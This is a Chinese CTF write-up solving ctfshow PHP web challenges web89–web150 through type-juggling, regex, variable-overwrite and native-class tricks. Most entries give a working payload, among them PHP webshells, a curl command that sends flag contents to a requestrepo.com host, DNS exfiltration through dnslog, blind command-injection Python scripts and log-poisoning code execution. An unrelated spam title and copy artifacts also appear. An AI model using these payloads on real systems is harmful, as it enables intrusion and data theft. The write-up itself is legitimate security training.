高權(quán)重域名做網(wǎng)站百度手游排行榜
1.web89
intval函數(shù)的利用,intval函數(shù)獲取變量的整數(shù)值,失敗時返回0,空的數(shù)組返回,非空數(shù)組返回1
num[]=1
intval ( mixed $var [, int $base = 10 ] ) : int
Note:
如果 base 是 0,通過檢測 var 的格式來決定使用的進制:
如果字符串包括了 "0x" (或 "0X") 的前綴,使用 16 進制 (hex);否則,
如果字符串以 "0" 開始,使用 8 進制(octal);否則,
將使用 10 進制 (decimal)。
2.web90
intval函數(shù)的利用,怎么進行取整,php強類型比較
intval('4476.0')===4476 小數(shù)點
intval('+4476.0')===4476 正負號
intval('4476e0')===4476 科學計數(shù)法
intval('0x117c')===4476 16進制
intval('010574')===4476 8進制
intval(' 010574')===4476 8進制+空格
3.web91
利用的正則表達式的多行匹配if(preg_match(/^php/im,KaTeX parse error: Expected '}', got 'EOF' at end of input: …match(/^php/i),a){echo ‘hacker’;}}
第一個開啟了多行匹配
a%0aphp
4.web92
php弱類型比較和intval取整,ph弱類型比較會進行類型轉(zhuǎn)換
只能使用進制繞過了
intval('0x117c')==4476 16進制
intval('010574')==4476 8進制
intval(' 010574')==4476 8進制+空格
5.web93
php弱類型比較和intval取整,過濾了字母
使用8進制
intval('010574')==4476 8進制
intval(' 010574')==4476 8進制+空格
6.web94
php強類型比較和intval取整,過濾了字母和0,if(!strpos($a,‘0’)){die (‘no no’);}
strpos — 查找字符串首次出現(xiàn)的位置,不能使用8進制了,但是可以使用空格+8進制
intval(' 010574')==4476 8進制+空格
intval('4476.0')===4476 小數(shù)點
intval('+4476.0')===4476 正負號
7.web95
php強類型比較和intval取整,過濾了字母和0還有點
intval(' 010574')==4476 8進制+空格
8.web96
目錄遍歷
./flag.php
/var/www/html/flag.php
9.web97
md5值比較,數(shù)字不相等但是md5值相等,可以用數(shù)組繞過
數(shù)組的md5值為null
a[]=1&a[]=2
10.web98
&引用,表示不同變量名的值指向同一個值,get變量被post變量覆蓋
get:1=1 post:HTTP_FLAG=flag
11.web99
in_arry弱類型比較和rand(min,max)返回min到max之間的一個隨機數(shù)([min,max]),arry_push往數(shù)組末尾添加一個數(shù)
in_array延用了php中的==
$allow = array('1','2','3');
var_dump(in_array('1.php',$allow));#true
新加進去的隨機數(shù)字每次都包含1,1存在的幾率是最大的
n=1.php post:content=<?php eval($_POST[1]);?>
12.web100
and與&&的區(qū)別和反射類的使用
&&與and都表示邏輯與,||與or都表示邏輯或
優(yōu)先級&&>and>=,||>or>=
<?php
$a=true and false; #先賦值給true,后面false被忽略
var_dump($a); 返回true$a=true && false; #現(xiàn)進行&&操作,之后賦值
var_dump($b); 返回false
反射類
<?php
class A{
public static $flag="flag{123123123}";
const PI=3.14;
static function hello(){echo "hello</br>";
}
}
$a=new ReflectionClass('A');var_dump($a->getConstants()); 獲取一組常量
輸出array(1) {["PI"]=>float(3.14)
}var_dump($a->getName()); 獲取類名
輸出
string(1) "A"var_dump($a->getStaticProperties()); 獲取靜態(tài)屬性
輸出
array(1) {["flag"]=>string(15) "flag{123123123}"
}var_dump($a->getMethods()); 獲取類中的方法
輸出
array(1) {[0]=>object(ReflectionMethod)#2 (2) {["name"]=>string(5) "hello"["class"]=>string(1) "A"}
}
v1=1&v2=var_dump($ctfshow)/*&v3=*/;
v1=1&v2=?><?php echo `ls`?>/*&v3=;*/
13.web101
and與&&的區(qū)別和反射類的使用,過濾變多了,命令執(zhí)行不了了,為啥反射類可利用,通過讀取ctfshow.php發(fā)現(xiàn)flag是一個變量名
v1=1&v2=echo new ReflectionClass&v3=;
14.web102
bin2hex的使用,call_user_func
call_user_func — 把第一個參數(shù)作為回調(diào)函數(shù)調(diào)用,其余是參數(shù)
<?php
error_reporting(E_ALL);
function increment(&$var)
{$var++;
}$a = 0;
call_user_func('increment', $a);
echo $a."\n"; #0call_user_func_array('increment', array(&$a)); // You can use this instead before PHP 5.3
echo $a."\n"; #1
?>
v2必須有數(shù)字
$a='<?=`cat *`;'; //為什么用這個,主要是因為編碼后帶e,或者是編碼后全部是數(shù)字
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //這里直接用去掉=的base64
//輸出 5044383959474e6864434171594473
帶e會被當做科學計數(shù)法,而base64去掉等號,不影響解碼
bin2hex把ascii碼轉(zhuǎn)為16進制
php5中is_numeric函數(shù)認識16進制數(shù),而php7這個函數(shù)不識別16進制數(shù),
hex2bin將16進制轉(zhuǎn)換為ascii碼,<?php eval($_POST[1]);?>的16進制編碼為0x3c3f706870206576616c28245f504f53545b315d293b3f3e
php5:
v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php
post:v1=hex2bin
之后訪問1.php
php7:
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post: v1=hex2bin
需要隨便填充一些數(shù)字,從第二個字符開始截取的(也就是第三個,是從0開始的)
之后訪問1.php
15.web103
和web102一樣
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post v1=hex2bin
16.web104
sha1弱比較,出錯了
v2=1
post v1=1
17.web105
變量覆蓋,die可以帶出數(shù)據(jù)
考查的是
變量覆蓋,die可以帶出數(shù)據(jù),輸出一條消息,退出腳本
變量覆蓋是把變量的值當作另一個變量的名
$a='b';
$aa='c';
echo $a; #b
echo $b; #c
echo $$a; #c
分析:
有兩個地方有變量覆蓋,有兩個die函數(shù)輸出,最后一個die函數(shù)要用的話,必須設(shè)置flag,但是設(shè)置flag后就只有進行變量覆蓋了,所以只能用第一個die函數(shù)里的error,需要考慮怎么通過變量覆蓋使變量error和變量flag相等,還需要借助變量suces
當get 方式傳入suces=flag,$key=suces,$value=flag
foreach($_GET as $key => $value){$$key=$$value; #變成了$suces=$flag,$suces的值是flag的值}
當post傳入error=suces,$key=error,$value=suces
foreach($_POST as $key => $value){$$key=$$value; #變成了$error=$flag,$error的值是flag的值
}
get suces=flag
post error=suces
18.web106
sha1弱比較,數(shù)組課繞過
v2[]=1
v1[]=2
或者v1和v2隨便用下面的一個,科學計數(shù)法為0
aaroZmOk 0e76658526655756207688271159624026011393
aaK1STfY 0e66507019969427134894567494305185566735
aaO8zKZF
aa3OFF9m
19.web107
md5弱比較,parse_str
數(shù)組繞過,md5不處理數(shù)組,返回null,v1不輸入業(yè)返回null
parse_str將字符串解析成多個變量$str = "first=value&arr[]=foo+bar&arr[]=baz";
parse_str($str, $output);
echo $output['first']; // value
echo $output['arr'][0]; // foo bar
v3[]=1
v1=
20.web108
ereg %00截斷, strrev()
strrev() 反轉(zhuǎn)字符串
<?php
echo strrev("Hello world!"); // 輸出 "!dlrow olleH"
?>
ereg 存在空字符截斷(只會匹配%00前面的字符),這個函數(shù)匹配到為true,沒有匹配到為false,877為0x36d的十進制數(shù)值
c=a%00778
21.web109
原生類利用,異常類和反射類
類可以輸出,就是當類被當作字符串執(zhí)行,會調(diào)用__trosting魔術(shù)方法,這個類要有這個魔術(shù)方法,并且要有返回值才可以輸出,這個值要可控
class a{
public $b;
public function __constrcut($a){$this->b=$a
}
public funciton __toString(){
return $this->b;
}
}
$c=echo new a('aaa');
#v1=a
#v2=aaa
echo new Exception(system(‘echo phpinfo’)())
會先輸出phpinfo,之后在執(zhí)行phpinfo,最后拋出異常,需要執(zhí)行完函數(shù)把函數(shù)的結(jié)果在通過異常進行拋出,執(zhí)行順序為什么時這樣的因為不是這樣的Exception(“system(‘echo phpinfo’)()”),不是當作一個整體進行輸出,需要執(zhí)行完才能把命令執(zhí)行的結(jié)果當作整體進行輸出
v1=Exception();system('tac f*');//&v2=a
v1=Exception&v2=system('tac f*'));//
v1=ReflectionClass&v2=system('tac f*')
22.web110
FilesystemIterator類利用
getcwd獲取當前目錄,DirectoryIterator遍歷目錄,文件名稱(. … 1.c) FilesystemIterator遍歷目錄名+文件(/1.c),echo new DirectoryIterator(getcwd())只輸出第一個
都是獲取目錄下的文件
v1=FilesystemIterator&v2=getcwd
23.web111
$GLOBALS 超全局變量利用
$GLOBALS —包含全局作用域中可用的全部變量
$v2=GLOBALS
$$v2=$GLOBALS
&$ v 2 表示取 v2表示取 v2表示取GLOBALS的所有值
&引用表示不同變量指向同一值
$a='djkad';
$b=&a;
echo $b; #djkad
echo $a; #djkad
var_dump($GLOBALS); #會輸出$a,$b的值等
v1=ctfshow&v2=GLOBALS
24.web112
偽協(xié)議繞過is_file
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php
25.web113
/proc/self/root的用法和偽協(xié)議繞過is_file
/proc/self/root代表根目錄,進行目錄溢出,超過is_file能處理的最大長度就不認為是個文件了
compress.zlib://flag.php /proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php
26.web114
偽協(xié)議繞過is_file
php://filter/resource=/flag
27.web115
trim和is_numeric的繞過
string trim( string $str[, string $character_mask = " \t\n\r\0\x0B"] )
此函數(shù)返回字符串 str 去除首尾空白字符后的結(jié)果。如果不指定第二個參數(shù),trim() 將去除這些字符:
? " " (ASCII 32 (0x20)),普通空格符。
? "\t" (ASCII 9 (0x09)),制表符。
? "\n" (ASCII 10 (0x0A)),換行符。
? "\r" (ASCII 13 (0x0D)),回車符。
? "\0" (ASCII 0 (0x00)),空字節(jié)符。
? "\x0B" (ASCII 11 (0x0B)),垂直制表符。
如何繞過is_numeric
除了數(shù)字和±.號以外還有 %09 %0a %0b %0c %0d %20
繞過trim和is_numeric
只有%0c
%0c36
28.web123
考查的$_SERVER變量和php變量名的轉(zhuǎn)換 命令執(zhí)行
在php中變量名字是由數(shù)字字母和下劃線組成的,所以不論用post還是get傳入變量名的時候都將空格、[,+、點轉(zhuǎn)換為下劃線,而傳入[之后后面的空格、[,+、點就不會被轉(zhuǎn)為下劃線了
$_SERVER變量
1.cli模式(命令行)下
第一個參數(shù)$_SERVER[‘a(chǎn)rgv’][0]是腳本名,其余的是傳遞給腳本的參數(shù)
2.web網(wǎng)頁模式下
在web頁模式下必須在php.ini開啟register_argc_argv配置項
設(shè)置register_argc_argv = On(默認是Off),重啟服務(wù), S E R V E R [ ‘ a r g v ’ ] 才會有效果這時候的 _SERVER[‘a(chǎn)rgv’]才會有效果 這時候的 S?ERVER[‘argv’]才會有效果這時候的_SERVER[‘a(chǎn)rgv’][0] = $_SERVER[‘QUERY_STRING’]
a r g v , argv, argv,argc在web模式下不適用
對于這題來說就是$a[0]= $_SERVER[‘QUERY_STRING’]
<?php
$a=$_SERVER['argv'];
var_dump($a);
#傳入 a=1+fl0g=flag_give_me
#結(jié)果如下
array(2) { [0]=> string(3) "a=1" [1]=> string(17) "fl0g=flag_give_me" }
parse_str
parse_str
(PHP 4, PHP 5, PHP 7)
parse_str — 將字符串解析成多個變量
說明
void parse_str( string $encoded_string[, array &$result] )
如果 encoded_string 是 URL 傳遞入的查詢字符串(query string),則將它解析為變量并設(shè)置到當前作用域(如果提供了 result 則會設(shè)置到該數(shù)組里 )<?php
$str = "first=value&arr[]=foo+bar&arr[]=baz";// 推薦用法
parse_str($str, $output);
echo $output['first']; // value
echo $output['arr'][0]; // foo bar
?>
1.
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
2.
CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
3.
get: $fl0g=flag_give_me;
post:CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
29.web125
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
30.web126
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
31.web127
變量名稱符號轉(zhuǎn)換
在php中變量名字是由數(shù)字字母和下劃線組成的,所以不論用post還是get傳入變量名的時候都將空格、[,+、點轉(zhuǎn)換為下劃線,而傳入[之后后面的空格、[,+、點就不會被轉(zhuǎn)為下劃線了
?ctf show=ilove36d
32.web128
call_user_func 代碼執(zhí)行,gettext和get_defined_vars 和call_user_func
call_user_func
call_user_func
(PHP 4, PHP 5, PHP 7)
call_user_func — 把第一個參數(shù)作為回調(diào)函數(shù)調(diào)用
說明
mixed call_user_func( callable $callback[, mixed $parameter[, mixed $...]] )
第一個參數(shù) callback 是被調(diào)用的回調(diào)函數(shù),其余參數(shù)是回調(diào)函數(shù)的參數(shù)。 參數(shù)
callback
將被調(diào)用的回調(diào)函數(shù)(callable)。
parameter
0個或以上的參數(shù),被傳入回調(diào)函數(shù)。
gettext
string gettext( string $message) 返回輸入的字符
_()==gettext() 是gettext()的拓展函數(shù),開啟text擴展,_是gettext的別名。需要php擴展目錄下有php_gettext.dllecho gettext("Welcome to My PHP Application");
get_defined_vars()
get_defined_vars — 返回由所有已定義變量所組成的數(shù)組
?f1=_&f2=get_defined_vars
33.web129
目錄穿越和stripos 用法
stripos
stripos
(PHP 5, PHP 7)
stripos — 查找字符串首次出現(xiàn)的位置(不區(qū)分大小寫)
說明
mixed stripos( string $haystack, string $needle[, int $offset = 0] )
返回在字符串 haystack 中 needle 首次出現(xiàn)的數(shù)字位置。
與 strpos() 不同,stripos() 不區(qū)分大小寫。 參數(shù)
haystack
在該字符串中查找。
needle
注意 needle 可以是一個單字符或者多字符的字符串。
如果 needle 不是一個字符串,那么它將被轉(zhuǎn)換為整型并被視為字符順序值。
offset
可選的 offset 參數(shù),從字符此數(shù)量的開始位置進行搜索。如果是負數(shù),就從字符末尾此數(shù)量的字符數(shù)開始統(tǒng)計。 返回值
返回 needle 存在于 haystack 字符串開始的位置(獨立于偏移量)。同時注意字符串位置起始于 0,而不是 1。
如果未發(fā)現(xiàn) needle 將返回 FALSE。
?f=/ctfshow/../../../../var/www/html/flag.php
34.web130
正則匹配的繞過
1.正則最大回溯次數(shù)繞過
PHP 為了防止正則表達式的拒絕服務(wù)攻擊(reDOS),給 pcre 設(shè)定了一個回溯次數(shù)上限 pcre.backtrack_limit
回溯次數(shù)上限默認是 100 萬。如果回溯次數(shù)超過了 100 萬,preg_match 將不再返回非 1 和 0,而是 false。這樣我們就可以繞過第一個正則表達式了。
python腳本
import requests
url=""
data={'f':'very'*250000+'ctfshow' } r=requests.post(url,data=data)
print(r.text)
2.直接繞過
f=ctfshow
35.web131
正則匹配的繞過
import requests
url=""
data={'f':'very'*250000+'360Dctfshow' } r=requests.post(url,data=data)
print(r.text)
36.web132
短路運算符 &&和||
username=admin&password=aa&code=admin
37.web133
無回顯的shell_exec命令執(zhí)行
get傳參 F=`$F `;sleep 3
經(jīng)過substr($F,0,6)截取后 得到 `$F `;
也就是會執(zhí)行 eval("`$F `;");
我們把原來的$F帶進去
eval("``$F `;sleep 3`");
也就是說最終會執(zhí)行 ` `$F `;sleep 3 ` == shell_exec("`$F `;sleep 3");
前面的命令我們不需要管,但是后面的命令我們可以自由控制。
這樣就在服務(wù)器上成功執(zhí)行了 sleep 3
所以 最后就是一道無回顯的命令執(zhí)行題目了
寫文件試了不行,應(yīng)該是沒權(quán)限
通過curl進行外帶,curl只能帶出一排數(shù)據(jù),可以直接篩選flag進行帶出
利用的平臺是https://requestrepo.com/
F=`$F%20`;curl%20http://1gfmb9cm.requestrepo.com?1=`cat%20f*|grep%20flag`
38.web134
POST數(shù)組的覆蓋
<?php
parse_str($_SERVER['QUERY_STRING']);
var_dump($_POST);?>
然后我們傳入 _POST[‘a(chǎn)’]=123
會發(fā)現(xiàn)輸出的結(jié)果為array(1) { ["‘a(chǎn)’"]=> string(3) “123” }
也就是說現(xiàn)在的$_POST[‘a(chǎn)’]存在并且值為123
題目中還有個extract($_POST)
extract() 函數(shù)從數(shù)組中將變量導入到當前的符號表,也就是說把鍵名當作變量名,值作為變量的值
這樣的話 $a==123
_POST[key1]=36d&_POST[key2]=36d
39.web135
1.
訪問1.txt即可
F=`$F `;cp flag.php 1.txt
2.ping外帶
`cat flag.php|awk 'NR==2'`.6x1sys.dnslog.cn
awk利用NR一排排的帶數(shù)據(jù)
40.web136
考察無回顯的命令執(zhí)行 使用linux中的tee命令
: ls /|tee 1 訪問1下載查看文件1發(fā)現(xiàn)根目錄下有flag
cat /f149_15_h3r3|tee 2 訪問下載查看文件2
41.web137
考查call_user_func調(diào)用類的靜態(tài)方法 ::調(diào)用
call_user_func
<?php
class myclass {static function say_hello(){echo "Hello!\n";}
}
$classname = "myclass";
call_user_func(array($classname, 'say_hello'));
call_user_func($classname .'::say_hello');
?>
ctfshow=ctfshow::getFlag
42.web138
考查call_user_func調(diào)用類的靜態(tài)方法 數(shù)組傳入調(diào)用
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
43.web139
文件盲注
使用盲注的方式,跟sql的時間盲注差不多,這里利用的時linux的shell語法
import requests
import time
import string
str=string.ascii_letters+string.digits
result=""
for i in range(1,5): #知道flag在第四行,實際情況中把數(shù)字寫大一些key=0for j in range(1,15): #文件名的長度大小if key==1:breakfor n in str:payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)#print(payload)url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payloadtry:requests.get(url,timeout=(2.5,2.5))except:result=result+nprint(result)breakif n=='9':key=1result+=" "
得出flag在根目錄下的f149_15_h3r3中,繼續(xù)盲注得出flag值
import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
#key=0 #key我感覺可以不用加
for j in range(1,45):
# if key==1:
# break for n in str:payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)#print(payload)url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payloadtry:requests.get(url,timeout=(2.5,2.5))except:result=result+nprint(result)break
awk nr從第幾行開始
cut截取字符第幾個字符
44.web140
弱類型比較,intval把非零數(shù)字轉(zhuǎn)為0,而后面的ctfshow會進行類型轉(zhuǎn)換,也會轉(zhuǎn)換為0
f1=md5&f2=md5
f1=usleep&f2=usleep
f1=md5&f2=sleep
f1=sha1&f2=md5
45.web141
無字母數(shù)字的命令執(zhí)行
或,異或,取反等運算都可以
v1=1&v2=1&v3=-("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%06%00"^"%60%60%7c%20%60%2a");
46.web143
無字母數(shù)字的命令執(zhí)行
或,異或等運算都可以
v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%00"^"%60%60%7f%20%60%2a")*
47.web145
無字母數(shù)字的命令執(zhí)行
或,取反等運算都可以 三目運算符的使用
或,異或,取反命令構(gòu)造腳本
#system('cat f*');
v1=1&v2=0&v3=?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5):
48.web146
無字母數(shù)字的命令執(zhí)行
或,取反等運算都可以位運算符邏輯運算符的使用
v1=1&v2=0&v3===(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)|
v1=1&v2=0&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)|
web141-web146 無字母數(shù)字命令執(zhí)行 或,異或,取反等運算符的使用
+,-,*,/,|,||,==,&,&& 繞過return,可以和函數(shù)一起使用
eval(return 1+phpinfo()+1)
eval(return 1|phpinfo()|1)
eval(return 1==phpinfo()||1)
49.web147
create_funciton的用法
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)
%5c()繞過正則
php里默認命名空間是\,所有原生函數(shù)和類都在這個命名空間中。 普通調(diào)用一個函數(shù),如果直接寫函數(shù)名function_name()調(diào)用,調(diào)用的時候其實相當于寫了一個相對路 徑; 而如果寫\function_name()這樣調(diào)用函數(shù),則其實是寫了一個絕對路徑。 如果你在其他namespace里調(diào)用系統(tǒng)類,就必須寫絕對路徑這種寫 法
create_funciton
create_function('$a','echo $a."123"')
類似于
function f($a) {echo $a."123";
}
GET ?show=;};system('cat f*');//
POST ctf=%5ccreate_function
50.web148
無字母數(shù)字命令執(zhí)行
異或運算(中文變量)
1.
("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%03%01%09%01%06%02"^"%60%60%7d%21%60%28");2.
code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
其實也是利用異或構(gòu)造
"`{{{"^"?<>/"; 異或出來的結(jié)果是 _GET
51.web149
條件競爭
ctf=1.php
show=<?php system('tac /c*';)?>
burp 抓包發(fā)送到intruder 一個不斷發(fā)送上面數(shù)據(jù) 位置不設(shè) payload 設(shè)為null 另一個不斷訪問1.php
非預期
ctf=index.php
show=<?php eval($_POST[1]);?>
52.web150
strrpos查找最后出現(xiàn)的位置,沒有為flase
===優(yōu)先級高于&&
extract導入當前符號表,也就是變量覆蓋
$_SERVER [‘QUERY_STRING’] 表示獲取get和post 中的參數(shù)和值
非預期 日志包含
ua <?php eval($_POST[1])?>get isVIP=TRUE
post ctf=/var/log/nginx/access.log&1=system('cat f*');
53.web150 plus
__autoload的函數(shù)在不在ctfshow類中
__autoload加載未定義的類,即進行類函數(shù)判斷時會調(diào)用這個函數(shù)
__autoload函數(shù)會執(zhí)行這個變量class
需要先構(gòu)造__CTFSHOW__但是_被過濾了,.可以繞過,構(gòu)造了這個變量
…CTFSHOW…,需要進行傳值,因為原先并沒有,而extract函數(shù)可以覆蓋原先的變量,就變?yōu)榱?CTFSHOW=phpinfo,class變量就是__ctfshow__變量,class的值為phpinfo,最后就會執(zhí)行phpinfo
__autoload — 嘗試加載未定義的類
最后構(gòu)造?..CTFSHOW…=phpinfo就可以看到phpinfo信息啦
原因是…CTFSHOW…解析變量成__CTFSHOW__然后進行了變量覆蓋,因為CTFSHOW是類就會使用
__autoload()函數(shù)方法,去加載,因為等于phpinfo就會去加載phpinfo
接下來就去getshell啦
get
..CTFSHOW..=phpinfo